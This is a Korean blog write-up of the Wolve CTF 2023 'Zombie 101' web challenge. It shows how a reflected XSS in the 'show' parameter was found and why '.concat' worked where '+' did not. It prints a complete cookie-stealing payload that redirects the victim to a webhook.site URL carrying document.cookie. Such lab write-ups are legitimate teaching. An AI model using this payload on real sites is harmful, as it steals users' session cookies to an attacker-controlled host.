본문 바로가기
분류 전/CTF

[Wolve CTF 2023] Zombie 101 풀이

by jwcs 2023. 3. 21.
728x90
반응형

Description

 

Can you survive the Zombie gauntlet!?

First in a sequence of four related challenges. Solving one will unlock the next one in the sequence.

They all use the same source code but each one has a different configuration file.

This first one is a garden variety "steal the admin's cookie".

Good luck!

Please don't use any automated tools like dirbuster/sqlmap/etc.. on ANY challenges. They won't help anyway.

 

https://zombie-101-tlejfksioa-ul.a.run.app/

 

Zombie Fan Page

Welcome to the Zombie fan page!

zombie-101-tlejfksioa-ul.a.run.app

 

/

초기화면이다.

 

상단 입력창에 'ㅁ'을 입력한 모습이다. 입력한 그대로 출력해주는 것을 볼 수 있다. 스크립트 문장을 넣어보자.

 

스크립트가 그대로 먹는다. 취약점 발견이다.

 

다시 홈 화면으로 돌아와서 아래 입력창에 url을 입력해보자.

 

 

아까 zombie 주소를 넣은 모습이다. 정상적으로 방문했다는 말이 나온다. 기본적인 xss문제로 보인다.

webhook.site를 이용해서 document.cookie를 받으면 해결될 것으로 보인다.

 

https://zombie-101-tlejfksioa-ul.a.run.app/zombie?show=<script>location.href='https://webhook.site/03ceb132-c07f-47a9-893f-e0cd7cf1c459?flag='.concat(document.cookie)</script>

아래 입력창에 넣을 침투 코드다. '+'로 문장을 이어서 했더니 flag가 안나오는데 '.concat'을 사용하니 flag가 나온다. 차이점은 모르겠다...알게되면 수정하겠다.

 

짜잔

 

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

 

스크립트 부분은 두 단계를 거쳐 파라미터로 해석된다. 이 때문에 URL Decoding되어 '+'는 공백으로 해석된다.

 

'+' 기호는 공백 문자를 인코딩하기 위해 사용되며, URL에서 공백 문자는 '+'로 대체된다. 예를 들어, "hello world"라는 문장을 인코딩하면 "hello+world"가 됩니다.

반면에 '%2b'는 '+'기호 자체를 인코딩하기 위해 사용된다.

 

같은 맥락으로 .concat은 되면서 '+'는 안되는 것이라고 생각한다.

728x90
반응형

'분류 전 > CTF' 카테고리의 다른 글

[ASIS] hello 풀이  (2) 2023.10.02
[WACON2023] mosaic  (0) 2023.09.05
[WACON2023] mic check 풀이  (0) 2023.09.05
[b01lers CTF] warmup 풀이  (2) 2023.03.21
[WolvCTF 2023] Charlotte's Web 풀이  (0) 2023.03.20